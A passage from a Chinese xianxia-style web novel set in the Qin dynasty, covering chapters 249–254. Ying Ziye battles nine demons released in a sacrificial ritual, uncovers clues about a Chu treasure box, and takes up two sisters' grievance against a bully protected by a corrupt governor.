对方的目的深藏于迷雾之后,而自己每一次看似破解对方阴谋的行动,似乎都在对方的算计之中。
就在他沉思之际。
陡然间!
远处百蛮冢的方向,天地猛地一暗!
仿佛所有的光线都被瞬间吞噬!
紧接着,一道无比刺目、邪异、宛若血海滔天的巨大红光,猛地从那个方向冲天而起!
将大半边天空都染成了令人心悸的血色!!!
一股难以形容,充满了暴戾、疯狂、毁灭、以及无尽古老怨念的恐怖威压!
如同实质的冲击波,悍然降临,席卷四方!!!
即便相隔如此之远,赢子夜等人也感到一股发自灵魂深处的战栗!
仿佛有某种沉睡了万古的灭世凶物,正在苏醒!
脚下的地面微微震颤,枯木林中的砂石无风自动!
“那是……百蛮冢的方向!”
赵弋苍骇然失色,猛地抬头望向那血色光柱!
赢子夜瞳孔骤然收缩成最危险的针尖状!
所有的疑虑、算计,在这一刻都有了答案!
调虎离山!
声东击西!
对方真正的目标,从来就不是什么宝盒!
而是百蛮冢!
是那被封印在其中的,足以引发滔天浩劫的东西!
这宝盒,只是一个吸引他注意力的诱饵!
“走!”
赢子夜没有丝毫犹豫,甚至来不及多说一个字,猛地将宝盒收入怀中。
周身璀璨的金色帝威轰然爆发,化作一道撕裂长空的金色流光,以最快的速度,不顾一切地直扑那血色冲天的百蛮冢方向!
赵弋苍及一众暗河精锐也瞬间反应过来,强压下心中的惊骇,全力施展身法,如同一道道黑色的闪电,紧随着赢子夜而去!
必须阻止他们!
无论那是什么!
……
第250章 魔威滔天!
与此同时。
百蛮冢边缘。
一道狼狈却迅捷如风的身影正疯狂逃窜,正是凭借秘术遁走,一路南下的螭。
这几日他一直是紧绷的状态,刚回到百越才松了一口气,却猛地被远处那冲天而起的血色光柱和恐怖威压所吸引!
那光柱中蕴含的暴戾、疯狂、古老的气息,让他体内的百越王族血脉都不由自主地沸腾起来!
一股源自灵魂深处的渴望和悸动。
驱使着他改变方向,朝着那血色光柱的来源疾驰而去!
“封印之地?!竟然真的被他们找到了?!而且……正在被打开?!”
螭的独眼中爆发出难以置信和极致的狂热!
一定是那个黑袍人的部下!
他顾不上伤势和虚弱,将速度提升到极致,如同一道鬼影般掠过荒芜的山脊。
很快,他便看到了那如同炼狱般的景象。
巨大的邪异法阵,堆积如山的“祭品”正在化作枯骨,浓郁的血色能量如同洪流般注入山谷入口。
罗网**和六剑奴正全力维持着法阵运转,而掩日则立于阵前,指挥着这一切。
山谷入口那原本吞噬生机的灰雾,此刻已被血色染红,剧烈翻滚,仿佛煮开的血海。
一个模糊不清,却散发着令人绝望气息的恐怖通道,正在缓缓形成!!
而螭的出现,也瞬间引起了罗网的警惕。
数名**立刻做出攻击姿态,六剑奴冰冷的目光也扫了过来。
“是我!”
螭急忙嘶声喊道。
压下心中的激动,努力让自己显得镇定。
“原来你们是罗网的人?”
掩日抬手止住了属下的动作,面具后的目光打量着螭,声音低沉:“你便是螭?”
“正是!”
螭快速说道,目光却死死盯着那即将形成的血色通道,眼中充满了贪婪。
“控制九魔的秘法在我手中!”
“此处能量狂暴,通道不稳,寻常方法根本无法控制破封而出的魔头,唯有我百越王族世代相传的秘术方可引导!”
“让我来!!!”
掩日沉默了片刻,似乎在权衡。
事实上,大人早有交代,若螭到来,便让其施展手段。
他需要的是可控的武器,而不是彻底失控的灾难。
“好。”
掩日缓缓点头,侧身让开一步。
“你需要什么?”
“你们维持法阵,稳住通道即可!”
螭迫不及待地走上前,来到那血色能量最汹涌的区域前方。
他深吸一口气,那空气中弥漫的暴戾能量让他伤势都似乎减轻了几分。
他双手快速结出一个个古老而邪异的手印,口中念诵起晦涩拗口的百越古语。
那语言充满了蛮荒和原始的力量感!
随着他的施法,他周身浮现出与那血色通道隐隐共鸣的暗红色光芒,皮肤上的飞蛇刺青仿佛活了过来般蠕动。
此刻,他已经完全明白。
当初在九重牢狱中与自己交易,并赠予丹药的黑袍人,必然就是权倾朝野的中车府令赵高!
也只有他,才有能力在咸阳宫策划那般行动,救他出来,并找到这封印之地!
“赵高……好手段!好胆魄!”
螭心中暗惊,但更多的却是兴奋。
与虎谋皮又如何?
只要能获得力量,报仇雪恨,他什么都不在乎!
“以吾之血,唤汝之名!”
“以吾之魂,缚汝之灵!”
螭的吟唱声越来越高亢,带着一种疯狂的虔诚和掌控欲。
他咬破舌尖,喷出一口精血,那血液融入前方的血色洪流之中,竟使得翻滚的通道稍稍平稳了一丝。
仿佛有一个无形的缰绳,正在尝试套向那即将出闸的猛兽!
“快!再快些!”
螭对着掩日等人吼道,脸上因力量透支和兴奋而扭曲。
“通道将成,魔头将现!绝不能出错!”
掩日眼神冰冷,打了个手势。
罗网众人更加疯狂地催动法阵,抽取着那些可怜“祭品”最后的生命力,加速着血色能量对封印的冲击!
一场释放并试图控制上古魔头的疯狂仪式,进入了最关键的阶段!
螭的加入,似乎让那不可控的毁灭力量,看到了一丝被驾驭的可能!
……
另一边。
赢子夜裹挟着少司命。
化作的金色流光撕裂长空,以惊人的速度逼近百蛮冢。
越是靠近,那股毁天灭地的邪恶威压就越是恐怖,令人窒息。
远处那冲天的血色光柱和翻滚的血海异象,已然证实了他最坏的猜测!
对方的真正目标,果然是这被封印的禁忌之力!
先前所有的迷雾、诱饵、嫁祸,都是为了掩盖这最终的目的,都是为了将他调离,争取这最关键的时间!
“好一个声东击西!好一个瞒天过海!”
赢子夜心中冰冷,帝威毫无保留地全力爆发,速度再增三分!
必须阻止他们!
……
与此同时。
在百蛮冢的血色法阵前,螭骤然抬头,独眼猩红,感受到了一股疾驰而来的威压气息!
“有人来了!”
他嘶声冷喝,眼神狰狞。
“不能让他靠近!拦住他!给我拦住他!”
掩日立刻领命,目光一闪,声音低沉:“六剑奴,先退下。”
魍魉愕然:“大人?!”
“你们身份太过明显,一旦暴露,不利于后续大局。”
掩日的声音冷漠而坚决。
“此刻,只能由我独自出面。”
六剑奴对视一眼,终究没有违逆,身形不动,继续维持大阵的运转。
而掩日则背过身去,抬起手,缓缓揭下了那张面具。
面具落地,他的面容变得平凡而冷峻,带着毫无波澜的漠然,仿佛从未存在过“掩日”这号人。
与此同时。
他手中原本那柄掩日之剑,也**入地面。
取而代之的,是一柄狭长幽暗,剑锋若毒蛇般冰冷的奇形长剑!!
“赢子夜……”
他低声呢喃,眼神深处闪过一丝森冷杀意。
下一瞬,他的身影化作一道漆黑流光,径直扑向百蛮冢外围的方向!
而很快。
他就见到了赢子夜正往封印地迅速赶来的身影!
“嗡!”
掩日毫不犹豫地动了!
一道凌厉无匹,仿佛能切割灵魂的漆黑剑芒,如同从虚空中钻出的毒蛇,悄无声息却又快到了极致,直刺赢子夜面门!
这一剑,刁钻、狠辣、时机把握妙到巅毫,竟逼得赢子夜不得不身形微滞,抬手格挡!
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“铛!”
金光与黑芒碰撞,发出刺耳的交击声!
能量涟漪四散,将周围的枯木碎石尽数震为齑粉!
“此路不通。”
掩日的声音也变得沙哑低沉,与之前截然不同。
唯有那双眼睛,依旧冰冷如万载寒冰。
“滚开!”
赢子夜眼神冰冷,不欲与他纠缠,天帝拳意爆发!
一拳轰出,金光璀璨,如同天帝震怒,要将眼前一切阻碍碾碎!!
掩日眼神凝重,不敢硬接,身形如同鬼魅般飘忽后撤。
同时,手中幽暗长剑划出无数道诡异弧线。
如同编织一张死亡之网,试图缠绕,迟滞赢子夜的脚步。
他的剑法阴毒无比,专攻神识与经脉,极为难缠。
“你的对手是我!”
少司命清冷的声音响起!
万千青叶汇聚成一道巨大的青色掌印,拍向掩日后背,逼其回防!
一道领域笼罩而下,试图压制掩日那诡异的身法。
赵弋苍也带着暗河精锐们迅速赶来,更是拼着受伤,悍不畏死地扑向掩日!
“主上先走!由我等保护主母!!”
赢子夜见状,不再犹豫。
他相信少司命和赵弋苍的能力。
“交给你们了!”
他低喝一声,周身金光再次暴涨,硬生生撞开掩日剑网的一道缝隙,化作一道极细的金线,以更快的速度直射那血色冲天的山谷入口!
掩日想要阻拦,却被少司命的青叶领域压制,以及赵弋苍的亡命扑杀死死缠住。
只能眼睁睁看着赢子夜突破而去!
他眼中闪过一丝焦急,却也无法脱身。
赢子夜速度全开,几个呼吸间便已掠过最后一段距离,眼前豁然开朗!
他看到了那堆积如山的尸骸。
看到了那邪异的血色法阵。
看到了站在法阵前,正在疯狂结印吟唱,周身与血色通道共鸣的螭!
而更让他瞳孔骤缩的是……
那山谷入口处,原本翻滚的灰雾和血色能量,此刻已然形成了一个巨大的,不稳定的,如同撕裂了空间般的血色漩涡!
漩涡深处,传来了令人神魂都要冻结的,仿佛来自九幽最底层的恐怖嘶吼和咆哮!!
数条手臂挤着探出漩涡,手肘反折、指骨畸形,死死勾着边缘!
封印……
已被彻底打开!
上古九魔,即将降临世间!
“住手!”
赢子夜发出一声震**吼,毫不犹豫,直接祭出最强手段!
金甲威龙巨兵法相显现,六臂合一,凝聚出璀璨夺目的天帝圣剑!
带着审判一切的煌煌帝威,狠狠斩向那血色漩涡和施法的螭!!!
必须在魔头完全降临之前,打断仪式!
然而,就在那惊天动地的剑芒即将斩落的刹那。
“吼——!!!”
一声仿佛汇聚了世间所有邪恶与疯狂的咆哮,猛地从血色漩涡最深处炸响!
整个漩涡轰然爆开!
一股漆黑如墨的邪恶能量如同海啸般奔涌而出。
瞬间吞噬了赢子夜那璀璨的剑芒!
紧接着,一道道扭曲不定,散发着极致毁灭气息的恐怖人影,率先从那爆开的漩涡中,挣扎着……
走了出来!
魔威,滔天!!!
第251章 九大魔星降世!
血色漩涡轰然爆裂!
无法用言语形容的漆黑魔气如同决堤的冥河!
瞬间淹没了大半天空!
将赢子夜那煌煌帝威都压制得黯淡了几分!
那率先走出的人影发出震耳欲聋的怒吼。
仅仅是声浪,就震得大地开裂,山石崩碎!
赢子夜瞳孔急缩,毫不犹豫,天帝圣剑以开天辟地之势悍然斩落!
璀璨的金色剑芒撕裂魔气,精准地斩向那人影!
“铛——!!!”
一道远超金属碰撞的声音,仿佛两个世界对撞的恐怖巨响炸开!
金色剑芒竟被那人影抬起的一条覆盖着厚重骨甲的手臂硬生生挡住!
剑芒与骨甲交击处,空间都扭曲崩塌,迸发出毁灭性的能量乱流!
赢子夜只觉一股蛮横、暴戾、充满了无尽毁灭意志的恐怖力量反噬而来!
竟震得他气血翻涌,身后的金甲法相都微微晃动了一下!
他定睛看去,那人影终于显露出部分真容。
那是一个怪人,模样诡异难描,身形飙到一丈之高!
通体覆盖着暗沉如血,铭刻着无数痛苦面孔的骨甲。
头颅拧成诡异的弧度,面颊上嵌着一对猩红的眼,瞳仁里没半点活气!
而这,仅仅是第一个!
“吼!”
“嗷!”
“嘶——!”
紧接着,另外八道同样恐怖的人影,挣扎着从那逐渐稳定的血色通道中走出!
荧惑。
计都。
罗睺。
月孛。
辰星。
镇星。
七杀。
太白。
九大灾星魔尊,于此降临世间!!!
每一尊人影散发出的气息,都赫然达到了天象境的恐怖层次!
而且他们的气息同根同源,彼此交织。
形成一个更加庞大、更加令人绝望的邪恶力场!!
螭站在下方,脸上充满了疯狂和得意。
他双手结印更快,口中古语越发急促,一道道暗红色的控制符纹如同锁链般缠绕向九魔,虽不能完全控制,却勉强能引导他们的攻击方向!
“嬴政的杂种!尝尝魔尊的滋味吧!”
螭嘶声狂笑。
“杀了他们!”
九魔那毫无情感的双眼,瞬间锁定了赢子夜!
最先出现的骨甲魔尊发出一声冷哼。
另外八魔同时响应!
他们并未一拥而上,而是以一种诡异的方式,瞬间达成了某种共鸣!
其中八魔的身影微微变得虚幻,磅礴如海的漆黑魔气如同百川归海般,疯狂涌入那骨甲魔尊的体内!
骨甲魔尊的身体再次疯狂膨胀!
骨甲之上浮现出另外八魔的扭曲虚影。
气息瞬间突破了天象境的范畴,达到了一种令人根本无法理解的恐怖层次!!!
他那只粗大的手掌猛地探出,不再是简单的物理攻击。
掌风里裹着灼人的滚烫热浪,刺耳的凄厉嘶吼,以及缠人的冰冷阴影……
种种邪恶力量融为一体!
一掌拍出,仿佛整个天地都要被这一爪撕碎、污染、吞噬!
赢子夜脸色前所未有的凝重!
他感受到了致命的威胁!
“万流归宗·御!”
他不敢有丝毫保留,身后金甲法相六臂齐动。
巨剑、长戟、宝钟、盾牌、天书、混沌世界同时爆发出最璀璨的光芒。
六种强大的帝王法则力量融合为一,化作一道七彩流转,仿佛蕴含着整个世界力量的宏大神光!
迎向那毁天灭地的魔掌!!!
“轰隆隆隆——!!!”
这一次的碰撞,远超之前任何一次!
仿佛两颗星辰对撞!
恐怖的能量风暴瞬间席卷了整个百蛮冢区域!
大地如同波浪般翻滚起伏,无数山丘瞬间被抹平!!!
天空被撕裂出巨大的黑色裂缝,久久无法愈合!!
赢子夜闷哼一声,身形剧震,竟被那融合了八魔之力的恐怖一击震得向后滑退出数百丈!
周身金光都黯淡了几分!
而那骨甲魔尊,只是身躯晃动了一下,手掌上崩裂了几片骨甲,流淌出漆黑的血!
但那魔血落地便化作蒸汽飘散,然后嘶吼着扑来!
“哈哈哈!看到了吗?!”
“这才是力量!无可匹敌的力量!”
螭在下方狂笑,虽然控制九魔让他也承受着巨大的反噬,口鼻溢血,但他却兴奋欲狂!
九魔之力,汇聚于一!
虽因封印和控制有所削弱,但其本身实力太强,依旧恐怖得令人绝望!
赢子夜眼神冰冷如万载玄冰。
他缓缓站直身体。
“魑魅魍魉,也敢妄称魔尊?”
他深吸一口气,整个南疆的天地灵气仿佛都为之牵引,疯狂向他汇聚而来!
“今日,便让尔等见识,何谓……真正的天帝之威!!”
更加强大的战斗,一触即发!
……
百蛮冢上空。
已彻底化为神魔战场。
赢子夜玄衣猎猎,周身帝威如同燃烧的金色火焰,与那吞噬光明的漆黑魔气分庭抗礼。
他手段尽出,不再有丝毫保留!
金甲威龙巨兵法相六臂狂舞!
天帝圣剑斩裂虚空,雷霆长戟引动九天神罚,镇魂钟声荡涤邪祟,龙首巨盾硬撼魔掌,万象天书演化诸般妙法克制魔功!
那混沌世界更是不断试图吞噬炼化逸散的魔气!!!
不仅如此,他袖中更是法宝频出!
一枚古朴的玉玺迎风便涨,化作山岳大小!
携带着**国运的煌煌之力,狠狠砸向那熔岩魔尊!
紧接着,一道金光闪闪的绳索如同灵蛇出洞,穿梭空间。
专门缠绕束缚那身形飘忽的阴影魔尊!
甚至,之前秒杀得到的无数件秘宝,平日只是堆在旁边积灰,看都不看一眼,如今却被他毫不吝啬地引爆!!
化作一道道毁灭性的能量洪流,疯狂冲击着九魔的阵型!
法宝自爆的炫光与轰鸣不绝于耳!
赢子夜简直就是在烧钱!
每一件拿出去都足以让外界打破头的奇珍异宝,此刻在他手中却如同不要钱的石子般被投掷出去,只为了阻挡那九魔毁天灭地的攻势!
然而,九魔之力,汇聚于一身后,实在太过恐怖!
那骨甲魔尊融合八魔之力,每一次攻击都蕴含着多种毁灭法则,力量层级完全超越了寻常天象境!
即便赢子夜全力以
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赴,也只能勉强抗衡,甚至隐隐被压制。
每一次硬碰,都震得他气血翻腾,金甲法相的光芒也随之黯淡一分。
但赢子夜的眼神,却始终冰冷如渊,没有丝毫波动。
仿佛那被压制的不是他。
仿佛那不断消耗的不是足以让帝国都肉疼的海量资源。
他的计算精准到了极致!
每一次闪避、每一次格挡、每一次法宝的投掷与引爆,都妙到巅毫。
以最小的代价,化解着最致命的攻击!
那种极致的冷静和精准,反而比疯狂的攻击更令人心悸!!!
下方操控战局的螭,越打越是心惊肉跳!
他原本以为,凭借九魔之力,碾压一个秦公子不过是手到擒来!
他甚至已经开始幻想将其撕碎吞噬的场景!
可现实却狠狠给了他一巴掌!
赢子夜的难缠和强大,远超他的想象!
给他的感觉,简直…跟他那个父亲嬴政一样。
甚至,比嬴政还强不少!!
那层出不穷的法宝和秘术,那精准到可怕的战斗意识,那仿佛永远不会有情绪波动的冰冷意志……
这根本不像是一个年轻人,更像是一个活了无数年的老怪物!
更让他焦躁的是,他自身的状态正在急剧下滑!
他本就重伤未愈,强行催动控制九魔的秘法,每一次九魔发动攻击,那恐怖的反噬之力都如同钢针般刺扎着他的神魂和经脉!
他嘴角不断溢出黑血,眼前甚至开始阵阵发黑!
再这样下去,不等赢子夜败亡,他自己就要先被九魔吸干,甚至可能失去控制,遭到反噬而亡!
“不能再纠缠了!”
螭心中瞬间做出了决断。
他眼中闪过极度不甘和怨毒,但求生的本能压倒了一切。
就在那骨甲魔尊再次融合八魔之力,轰出一道足以湮灭山岳的漆黑魔光,逼得赢子夜全力催动法相和数件法宝硬抗,爆发出遮天蔽日的能量风暴,暂时遮蔽了所有人视线的刹那。
螭猛地咬碎了口中的一枚血色符石!
“噗!”
他喷出一大口本命精血,洒落在控制符纹之上,厉声嘶吼:“九魔听令!断后!”
那九尊人影发出一阵冷哼,似乎对这道强行中断攻击,转为防御的命令极为不满。
但在控制符纹的强制作用下,还是猛地收缩阵型。
滔天魔气凝聚成一面巨大的、扭曲的魔盾,横亘在赢子夜与螭之间!!
而螭本人,则化作一道血光,毫不犹豫地转身,朝着与战场相反的方向,疯狂遁逃!
他甚至顾不上那些罗网手下!
能量风暴缓缓散去。
赢子夜持剑而立,看着前方那面凝聚了九魔之力的巨大魔盾。
又看了一眼螭和九魔本体消失的天际。
冰冷的黑眸中,闪过一丝极淡的遗憾。
但更多的,是凛冽的杀意!!
“逃得倒快,不过倒是差点逼我用出了那张底牌……”
他并未立刻追击,而是将目光重新锁定在那九道失去精准操控,似乎变得更加狂暴和混乱的魔气之上。
首要之事,是解决眼前的灾难。
至于螭……
迟早会找他算账。
第252章 当年事情的真相!
这时,两道身影疾速从后方掠来,落在赢子夜身侧。
正是少司命和赵弋苍。
少司命紫衣之上沾染了些许尘土,气息微显急促。
赵弋苍甲胄上更是添了几道深深的斩痕,显然经历了一番恶战!
“主上!”
赵弋苍单膝跪地,声音带着不甘与惭愧。
“卑职无能!”
“那人实力极高,身法诡异,拼着硬受卑职一剑和主母一击,遁入山林深处…被他逃了!”
少司命微微颔首,清冷的声音补充。
“他受创不轻,短期应难恢复,但其遁术奇特,融入阴影,难以追踪。”
赢子夜闻言,目光依旧冰冷地锁定着前方的魔气,并未回头。
只是那周身的帝威似乎更加凛冽了几分!!
“逃了?”
他的声音听不出喜怒,却让赵弋苍的头垂得更低。
“是…请主上责罚!”
赢子夜缓缓抬起手,指向螭以及那批罗网**遁逃的方向。
“不必追了。”
“立刻派人,沿着这个方向,给我仔细地查!一寸一寸地查!”
“他们费尽心机,闹出如此动静,绝不仅仅是为了释放这几个魔头然后逃之夭夭。”
“必然还有后续!”
他顿了顿,语气斩钉截铁,带着不容置疑的威严。
“传令蒙毅、王贲,南疆所有关隘、要道、水路,即日起全部**!许进不许出!”
“过往人等,严加盘查,凡有可疑,一律扣押!!!”
“本公子倒要看看,他们还能玩出什么花样!”
“诺!”
赵弋苍重重抱拳,立刻起身,指派一名暗河精锐火速前去传令。
……
之后,残余魔气也被赢子夜率众清扫。
直到夜间。
临时行宫帐内灯火通明。
赢子夜独坐案前,那枚得自神秘**的楚国宝盒静静置于桌上,在烛火下流淌着幽暗古朴的光泽。
他指尖无意识地轻叩着桌面,黑眸深邃,凝视着宝盒上那些玄奥的星辰刻痕。
真的。
这宝盒是真的。
这一点,他反复确认过。
其上蕴含的古老神秘的力量波动,绝非仿制品所能拥有。
可越是确定,他心中的疑虑就越深。
对方处心积虑,布局深远。
从韩旧地到百越,一步步将他引入彀中。
最终目的显然是为了释放那九大灾星魔尊。
既然如此,为何还要将这货真价实的宝盒作为诱饵抛出?
用一个仿制品,同样能达到吸引他注意力的效果,何必付出如此巨大的代价?
除非……
“除非他们的目的,并非仅仅释放魔尊那么简单。”
赢子夜低声自语,眉头紧锁。
“他们或许…同样希望有人能解开这苍龙七宿之谜?甚至,是希望由我来解开?”
这个念头让他感到一丝莫名的寒意。
对方像是在下一盘很大的棋。
释放魔尊是明面上的杀招。
而这宝盒,或许是另一招更深的暗棋?
帐帘微动,少司命悄无声息地走入,手中端着一杯清水。
她将杯盏轻轻放在赢子夜手边,目光扫过那枚令人不安的宝盒,落在赢子夜微蹙的眉心上。
“夫君还在想宝盒之事?”
她的声音清冷依旧,却带着一丝不易察觉的柔和。
赢子夜缓缓吁出一口气,揉了揉眉心。
“总觉得有些不对劲,对方所图,恐怕比我们看到的更深。”
少司命静立一旁,轻声道:“既然想不明白,便暂且放下。”
“谜题终有解开之日,过于劳神,反受其困。”
她的话语简单,却带着一种让人心绪稍安的力量。
赢子夜闻言,抬头看向她,烛光映照下,她紫纱后的容颜朦胧而静谧。
他嘴角微微勾起一抹淡淡的弧度,心中的烦扰似乎真的消散了些许。
“夫人说的是,是我执着了。”
就在此时,帐外传来赵弋苍低沉的声音。
“主上,有发现。”
“进。”
赵弋苍大步走入,手中捧着一卷显然年代久远,边缘破损严重的竹简,神色凝重。
“主上,我们的人,在韩国故土发现此物。”
“似是当年某位白亦非在夜幕之中的近侍写的记录,其中提到了白亦非身死前后的一些…
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…蹊跷之处。”
赢子夜目光一凝。
“讲。”
赵弋苍展开竹简,借着烛光,念出上面模糊的字迹。
“侯爷困守孤殿,本可依仗地利顽抗,然忽有两名不速之客……”
“其一,紫衣华服,谈吐不凡,为韩之公子。”
“其二,青衣少年,手持书卷,为张相后人。”
“二人与侯爷密谈良久,殿内时有争辩之声……”
“后,侯爷竟似心灰意冷,自绝经脉而亡,那二人于混乱中不知所踪,侯爷贴身之物似有翻动痕迹……”
竹简上的记录到此为止,后续似乎被人为毁去。
帐内一片寂静。
“韩之公子……张相后人……”
赢子夜眼中精光爆闪。
“韩非!张良!”
当年韩国灭亡前后,能有此风采和胆魄入血衣侯绝地的,除了这两位,他想不出第三人!
“竟然是他们……”
少司命轻声道,紫眸中也闪过一丝讶异。
赢子夜身体微微后靠,手指无意识地敲击着扶手,脑中飞速运转。
韩非后来被囚于咸阳狱中,最终被秘密处死。
若宝盒当时在他手中,以父皇和李斯的手段,不可能搜不出来。
那么只有两种可能。
其一,韩非在见白亦非之后,已将宝盒交给了其他人,或者藏匿于某个极其隐秘之地。
其二,宝盒,当时根本就不在韩非手中,而是在那个同行的“张相后人”——张良的手中!
联想到小圣贤庄的超然地位,以及张良那“谋圣”之名的智慧。
第二种可能性…似乎更大!
“张良…小圣贤庄……”
“看来,有必要回咸阳之后,好好询问一下李斯了。”
赢子夜缓缓道,语气中带着一丝冷意。
“当年韩非在狱中的详情,他应该最清楚不过,或许能从中找到关于宝盒下落的蛛丝马迹。”
真相的迷雾,似乎消散了一些,却又引向了更深处。
苍龙七宿的秘密,以及围绕它所展开的博弈,远比想象中更加复杂和凶险。
赢子夜的目光再次落回那楚国宝盒之上,眼神愈发深邃。
第253章 拦路鸣冤!
数日之后。
南疆事宜初步安排妥当,赢子夜决定启程返回咸阳。
扶苏亲自送至王庭之外。
兄弟二人虽言语不多,但经此一役,彼此间似乎多了一份无需言说的默契与信任。
“南疆之事,便有劳兄长了。”
赢子夜于车驾前,对扶苏微微颔首。
扶苏郑重拱手。
“六弟放心,为兄定当竭尽全力,不负父皇与六弟所托,一路保重!!”
车驾启动,在精锐卫队的护卫下,缓缓北上。
一路行来,可见南疆大地虽满目疮痍,却也渐渐有了复苏的迹象。
秦军的旗帜在各处要隘飘扬,归降的部落也开始在秦吏的指导下垦荒修渠。
这一日。
车驾行至彭城地界,官道两旁渐见人烟。
正值晌午,赢子夜于车中闭目养神,忽听前方传来一阵骚动,车驾也随之缓缓停下。
“前方何事?”
赢子夜并未睁眼,淡淡问道。
车外护卫统领的声音传来。
“禀公子,有两名女子跪于道中,拦驾哭诉,状似凄惨,士卒驱赶不退。”
赢子夜眉头微蹙,寻常百姓岂敢拦截皇室车驾?
其中必有冤情!
他掀开车帘,目光向外望去。
只见官道中央,果然跪着两名女子,衣衫褴褛,蓬头垢面,脸上沾满泪水和尘土,几乎看不出本来面貌,如同两个落魄不堪的女乞丐。
她们正朝着车驾的方向不住磕头,哭声悲切绝望。
“求贵人做主!”
“求贵人为我父女申冤啊!”
声音因哭泣和虚弱而嘶哑变形。
赢子夜目光扫过那两名女子,虽其形容狼狈至极,但那隐约的轮廓和哭腔,却让他感到一丝莫名的熟悉。
他记忆力极佳,略一思索,眼中便闪过一丝了然!
是她们?
吕公的那两个女儿,吕雉和吕素?
之前那个在沛县瘟疫中,被他顺手救下的女子?
她们怎会沦落至此?
还出现在这彭城地界?
赢子夜示意侍卫将两女带到车驾前。
近距离看去,更是触目惊心。
两姐妹比在沛县时消瘦了太多。
面色蜡黄,嘴唇干裂,露出的手腕上还有青紫的伤痕,眼中充满了恐惧、悲伤和一种近乎崩溃的绝望。
哪里还有半分当初虽病弱却难掩清丽的模样?
吕雉年纪稍长,似乎强撑着一点力气,抬头看向车驾。
当她看到赢子夜那熟悉又陌生的冰冷面容时,先是一愣,随即眼中爆发出难以置信,如同抓到救命稻草般的激动光芒!!!
“是…是您?!恩公!!”
她猛地认出赢子夜,哭声更加悲恸,拉着妹妹吕素就要磕头。
吕素也认出了赢子夜,呜咽着说不出话,只是不住地流泪磕头。
“起来说话。”
赢子夜声音平静,却带着一股让人心安的力量。
“发生何事?你二人为何会在此地,落得如此境地?”
吕雉被侍女搀扶起来,泣不成声,断断续续地开始讲述。
“恩公…呜…我们…我们本是砀郡单父县人…家父吕文,本是当地乡绅,略有薄产……”
“只因那当地恶霸,贪恋我姐妹容貌,屡次逼迫……”
“父亲不堪其扰,又恐遭毒手,这才变卖家产,带着我姐妹背井离乡,迁往沛县投奔故友…”
她说到此处,已是泪流满面。
“本以为…本以为到了沛县,能得安稳……”
“谁料又遭逢瘟疫,幸得恩公搭救,才捡回性命。”
“父亲常说,恩公是我吕家大恩人…”
赢子夜问道:“既已安顿,为何又至此?”
吕雉眼中瞬间被巨大的恐惧和仇恨所充斥,身体剧烈颤抖起来。
“是…是那恶霸!”
“**从哪里打听到我们逃到了沛县…前些时日,竟带着一群如狼似虎的家奴,直接追到了沛县我们的住处!”
“他们…他们强行闯入,又要逼我们姐妹…父亲上前理论,与他们争执。”
“那恶霸竟…竟一把将父亲推倒在地!”
“父亲年迈,身体本就因迁徙和瘟疫孱弱不堪…头…头撞在了门框上…”
吕素接过话头,声音哽咽得几乎窒息。
“当时就…就没了气息…”
吕雉痛哭失声。
“爹…爹他就这么去了!”
“呜呜…那些天杀的恶贼,见闹出了人命,非但不惧,反而放火烧了我们的屋子,还想将我们姐妹强行掳走!”
“幸得邻里几位壮士拼死阻拦,我们姐妹才侥幸逃脱…一路乞讨,躲躲藏藏。”
“听闻有贵人车驾经过,才…才敢冒死拦驾鸣冤…”
两姐妹抱头痛哭,声音凄厉,闻者心酸。
周围的侍卫虽铁石心肠,也不禁面露恻隐之色。
赢子夜听完,面色依旧平静,但那双深邃的黑眸之中,已然凝结起一层冰冷的寒霜。
强逼民女,勾结官吏,逼人离乡,追凶异地,甚至鬻毆致死,焚屋掳人…
这一桩桩,一件件,皆触犯秦律,罪不容赦!
他那周身骤然下降的温度和眼中凝结的冰寒,让近前的吕氏姐妹和侍卫都感到一阵心悸!
“沛县县令、县丞,他们难道就坐视不管?”
赢子夜的声音听不出喜怒,却字字如
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冰珠砸落。
“人命关天,恶徒行凶,焚屋掳人,按秦律,当处以极刑。”
“他们竟敢如此渎职?”
吕雉闻言,泪水更是止不住地流,声音充满了绝望与无奈。
“恩公…我们何尝没有去县衙鸣鼓喊冤?”
“可…可那恶霸被拘押不到一日,便…便被放了出來!”
“后来才听街坊暗中告知,那恶霸的堂姐,乃是…乃是泗水郡郡守新纳的宠妾……”
“沛县隶属泗水郡,县尊大人…他,他如何敢得罪郡守大人?”
“只能…只能敷衍了事。”
“郡守宠妾的堂弟?”
赢子夜嘴角勾起一抹冰冷的弧度,那弧度中蕴含着滔天的怒意和一丝不屑。
“好,很好,好一个官官相护,好一个秦吏风骨!!!”
区区一个郡守妾室的亲戚,就敢如此横行乡里,逼**命,甚至让一地县令罔顾国法!
那这泗水郡郡守本人,又该是如何的无法无天?!
这大秦的律法,在这些蛀虫眼中,难道真成了一纸空文?!
他看向眼前哭得几乎晕厥的吕氏姐妹。
她们父亲惨死,家园被焚,自身更是被迫如同乞丐般**千里,这其中绝望,可想而知。
“不必再哭了。”
赢子夜的声音依旧平静,却带着一种不容置疑的决断和令人安心的力量。
“此事,本公子管了。”
吕雉和吕素猛地抬头,难以置信地看着赢子夜,眼中重新燃起希冀的光芒,却又带着一丝惶恐。
“恩公…那郡守势大…”
“势大?”
赢子夜轻笑一声,那笑声中却带着无上的威严和冷蔑。
“在这里,还没有比本公子‘势’更大的人。”
他不再多言,直接下令。
“赵弋苍!”
“卑职在!”
车驾外的赵弋苍沉声应道。
“改变行程,暂不回咸阳,车队转向,先行前往沛县!”
“诺!”
赵弋苍毫无迟疑,立刻传令。
赢子夜目光扫过衣衫褴褛,瑟瑟发抖的吕氏姐妹,对身旁的少司命道:“劳烦夫人带她们下去,沐浴更衣,妥善安置,一同上路。”
“多谢恩公!多谢恩公!”
吕雉和吕素喜极而泣,再次跪地重重磕头,几乎语无伦次。
车驾缓缓转向,朝着沛县的方向驶去。
赢子夜坐回车内,闭上双目,指尖轻轻敲击着桌面。
他倒要亲自去看看,这沛县的官吏,这泗水郡的郡守,究竟有多大的胆子,敢在大秦的天下,如此践踏律法,草菅人命!
正好,新账旧账,或许可以一并清算。
第254章 恶霸?本公子倒要看看多恶!
数日之后。
沛县。
这座经历了瘟疫洗礼后又添新伤的县城,表面看似恢复了往日的秩序,实则暗流涌动。
赢子夜一行人并未大张旗鼓。
而是乔装成寻常富商队伍,悄无声息地入了城。
入城后。
赢子夜便让吕雉、吕素两姐妹先行返回那已被焚毁过半的旧宅,并派了人手协助她们收敛吕公遗骸,操办丧事。
少司命则受命跟随,于身边守护,以防不测。
而赢子夜自己,则带着赵弋苍及数名气息内敛的护卫,径直来到了沛县县衙。
